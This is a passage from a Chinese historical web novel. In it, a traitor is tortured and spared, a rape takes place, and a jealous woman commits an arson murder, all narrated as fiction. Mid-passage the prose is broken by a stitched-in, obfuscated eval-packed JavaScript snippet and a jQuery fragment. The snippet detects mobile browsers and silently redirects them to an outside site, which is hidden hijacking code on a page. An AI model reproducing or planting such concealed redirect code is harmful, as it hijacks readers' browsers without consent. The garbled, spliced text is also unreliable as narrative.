地牢潮湿的石壁上,火把投下摇曳的光影。
雀九被铁链悬吊在刑架上,十指指甲已被尽数拔去,鲜血顺着指尖滴落在青石板上,发出"嗒、嗒"的声响。
谢珩坐在阴影中的太师椅上,修长的手指有一下没一下地敲击着扶手。
每一声轻响都让雀九的身体不自觉地颤抖。
“主子…”雀九艰难地抬起头,嘴角渗出血丝,“属下...知错了…”
“错在哪?”
“属下不该...不该背叛主子…”
谢珩起身,靴底碾过地上的血渍,在雀九面前站定。声音里带着刺骨的寒意:“十五年前的那个雪夜,你倒在猎场,说全家被仇人所杀。”
雀九的瞳孔猛地收缩。
“你是谁的人?”
“属下...属下是皇上安插在您身边的…”雀九艰难地吞咽着血水,“但三年前,南齐摄政王抓了我妹妹...要我...要我同时为他效力…”
谢珩的眼神骤然锐利如刀。
“明月州的账本...”
“是...是属下誊抄后交给皇上的…”雀九剧烈咳嗽起来,吐出一口鲜血,存了死意:“也是我,奉皇上之名,常年在主子的茶里下药,加重…加重毒性...”
“还有…皇上…要对柳胜下手。”
谢珩猛地掐住雀九的喉咙,手背上青筋暴起。雀九的脸迅速涨红,却露出解脱般的笑容。
空气仿佛凝固了。
谢珩的手缓缓松开,雀九像破布娃娃一样滑落在地。
“你妹妹在哪?”
“南齐…璇玑司…”雀九蜷缩着身子,声音嘶哑。
谢珩沉默良久,突然砍断雀九的锁链,转身离开。
“废了武功,留他一命。” 他吩咐段刀放人。
这一刻,谢珩想起崔宝珠为翠微求情时发红的眼眶。原来心软真的会传染,哪怕是对一个叛徒。
谢珩刚踏进王府大门,一道素白身影便扑了过来。
夜风卷着落叶在庭院里打着旋儿,将柳思湄身上的药香吹散开来。
“珩哥哥!”她满脸泪痕,死死抓住他的衣袖。
发间的白花在风中颤动,像只垂死的蝴蝶。“我爹...我爹他…”
“怎么回事?”谢珩虚扶她一下,却不动声色地后退半步,衣袖从她掌心滑脱。
“山匪…”柳思湄的眼泪砸在青石板上,“爹爹的马车在青崖关遇袭...他们连全尸都没留下…”
廊下的灯笼突然被风吹得摇晃起来,谢琅的身影在光影交错中出现。
他手里拎着酒壶,衣襟大敞,露出锁骨上新鲜的抓痕。
“哟,这是找谁哭丧呢?”谢琅的声音带着醉意,“要不要本公子教教你,该怎么求人?”
谢珩看了谢琅一眼,声音像淬了冰:“大哥。思湄刚丧父,你好生照看。”
当夜,谢琅踹开柳思湄的房门,浓烈的酒气扑面而来。
“你爹死了,看谁还能护着你。”
柳思湄惊恐地后退,却被谢琅一把拽住手腕。
“放开我!” 她挣扎着,衣袖被撕开一道口子。
“在谢珩面前哭哭啼啼,现在又装什么贞洁烈女!”谢琅狞笑着将她按在床榻上,“看清楚,谁是你的夫君。”
锦缎撕裂声混着柳思湄的呜咽,窗外一轮血月高悬,将床幔上的影子映得扭曲可怖。
次日清晨——
柳思湄将床上沾了血的帕子扔进炭盆,看着火焰吞噬那抹刺目的红。
铜镜里映出她红肿的眼睛和凌乱的发髻,脖颈上谢琅留下的掐痕在烛光下泛着青紫。
“崔宝珠…如果没有你,这一切都不会发生。”她咬牙切齿地碾碎梳妆台上的胭脂盒,朱砂色的粉末洒了满桌,像一滩干涸的血。
窗外突然传来"笃笃"两声轻响。
柳思湄警觉地回头,看见窗缝里塞进一封信笺。羊皮纸上寥寥数字:独来青云,我帮你。
没留名。
她捏着信的指尖在发抖。
明知可能是陷阱,却像即将溺毙的人抓住最后一根稻草。
夜雨敲打着青云庄园的琉璃瓦,柳思湄裹着黑色斗篷,像只受伤的猫儿蜷缩在廊柱后。
“柳姑娘来得真准时。”
带笑的声音从背后传来,柳思湄猛地转身。
封决倚在廊柱旁,银质面具折射着冷光,手里把玩着一枚从金甲卫身上取下的腰牌。
“你…你是谁?”
封决轻笑一声,扫过柳思湄惨白的脸,向毒舌吐着信子:“想要谢珩吗?我可以帮你。”
“你...你想要什么?”
雨声渐急,他的声音混着雨滴砸在柳思湄心上:“我要的,你给不了。”
柳思湄回到王府时,檐下的灯笼正被夜风吹得摇晃。
她拢了拢鬓发散乱的发髻,指尖还残留着青云庄园沉香的余味。
“大公子可在?”她走向谢琅的院子,轻声问守夜的丫鬟。
“在书房喝酒…”丫鬟怯生生地答道。
柳思湄唇角勾起一抹冷笑。
她取下鎏金护甲,从荷包里取出一小包迷香...
书房里,谢琅正醉醺醺地摩挲着身后的虎皮——那是年少时的谢珩与他一起猎的。
“夫君…”柳思湄的声音像蜜糖般黏腻。
谢琅抬头,“怎么?想通了?”
“妾身知错了。”她委身在谢琅身边,斟酒,递上,她指尖在谢琅酒杯边缘轻轻一蹭。
“父亲已去,如今…妾身只有夫君你了…”
谢琅一饮而尽,将美人搂在怀里,眼神却渐渐涣散。
柳思湄温柔地为他擦去嘴角的酒渍:“夫君醉了,妾身服侍您歇息。”
三更梆子响过,柳思湄轻轻移开谢琅搭在她腰间的手。
中了迷香男人睡得像个死猪,嘴角还挂着猥琐的笑。
她轻盈地从后窗翻出去,拿起藏在阴影里的火油瓶。
月光清亮,她穿过小路进了浣花坞,守夜的仆人都在酣睡。
她绕到崔宝珠的窗下,用棉布蘸着火油,顺着缝隙塞进去。又将其余的火油泼洒在窗棂和廊柱上。
最后取出封决给的火折子,在手中转了转…
火苗窜起的瞬间,柳思湄看见自己映在窗纸上的影子——扭曲如恶鬼。
火势渐猛,热浪灼痛了她的脸颊。听见屋内传来翠微的尖叫。她嘴角的笑意更深了,像朵淬了毒的花。
回到寝房,柳思湄重新系好被谢琅扯松的衣带、在枕上洒了几滴酒、将自己的发丝缠在谢琅指间。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874612|175044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她躺回谢琅身边,听着远处隐约传来的呼救声,轻轻闭上了眼睛。
当第一声"走水了"传来时,柳思湄适时地"惊醒",惊慌失措地推着谢琅:“大公子!快醒醒!好像着火了!”
崔宝珠在睡梦中皱了皱鼻子。
梦里她回到了小时候,厨房的婆子把桂花糕烤糊了。可那焦味越来越浓,还夹杂着"噼啪"的爆裂声。
“小姐!”
翠微的声音撕开梦境。
崔宝珠睁眼时,看见帐幔外跳动的火光已经爬上了房梁。浓烟呛得她剧烈咳嗽,眼泪模糊了视线。
“门被反锁了!”翠微的声音带着哭腔。她抓起铜盆砸向窗户,被飞溅的木屑刺破了脸颊。
崔宝珠拿着手帕浸入茶壶,湿布捂住口鼻的瞬间,听见翠微的惨叫。
“跳!小姐快跳!”翠微的后背已经烧了起来,她拼死撞开窗棂,将崔宝珠推出火海。
横梁砸下的瞬间,崔宝珠看见翠微的嘴唇还在动,看口型是在说:“跑…”
谢珩踏进院子时,火已经灭了。
焦黑的房梁像具被剖开的尸体,冒着缕缕青烟。崔宝珠跪在废墟前,怀中抱着半具焦尸——那截露出森森白骨的手腕上,还挂着翠微的金铃铛。
“崔宝珠。”谢珩的声音从背后传来。
她缓缓转头,发间的珠花早不知掉在哪里,凌乱的青丝被泪水黏在脸上。
那双总是盛满情绪的眼睛此刻空洞得可怕,却在看清来人时骤然迸发出骇人的恨意。
“是你…你想烧死翠微?”她松开翠微,染血的十指抓起地上的断簪。
远处传来柳思湄虚弱的咳嗽声。
“怎么了这是?”谢琅睡眼惺忪地揽着衣衫不整的柳思湄走过来。
柳思湄脖颈上的红痕在月光下刺目极了。
她瑟缩在谢琅身后,对崔宝珠露出个一闪而过的诡异微笑。
“是柳思湄!是你!”崔宝珠的目光落在柳思湄沾着红土的绣鞋上。
整个镇南王府,只有浣花坞院子里的杜鹃要用红土养。
谢珩也看过去,盯着柳思湄绣鞋上红泥,却想起柳胜…
柳胜对他有恩,又因皇上而死。
“够了!”他挡住举着发簪刺过来的崔宝珠。
银簪刺入他小臂,血顺着月白色的里衣晕开,像幅写意的红梅图。
“是我。” 他握住崔宝珠持簪的手,一点点将簪子从血肉里拔出来,“翠微偷传消息给金甲卫,死有余辜。”
崔宝珠的手剧烈颤抖起来。簪子“当啷”掉在地上,溅起一小撮灰烬。
“你...你知道翠微对我意味着什么…”她的声音支离破碎,“我没有别的亲人…”
“尸体扔去乱葬岗。”谢珩甩开她,吩咐侍卫。
崔宝珠踉跄着扑上去抱住翠微,扯下自己的外衫想裹住焦尸。
她的膝盖在碎石上磨出血痕,发髻散乱如疯妇,哭得上气不接下气:“别带她走…”
“带走。” 谢珩冷声道。
“求求你...至少让我安葬她…”崔宝珠抢不过侍卫,转身抓着谢珩的衣摆,眼泪混着血水砸在他靴面上,“她从小跟着我…”
“扔去乱葬岗。”谢珩对侍卫下令,眼神扫过众人:“这等背主的奴才,不配入土。”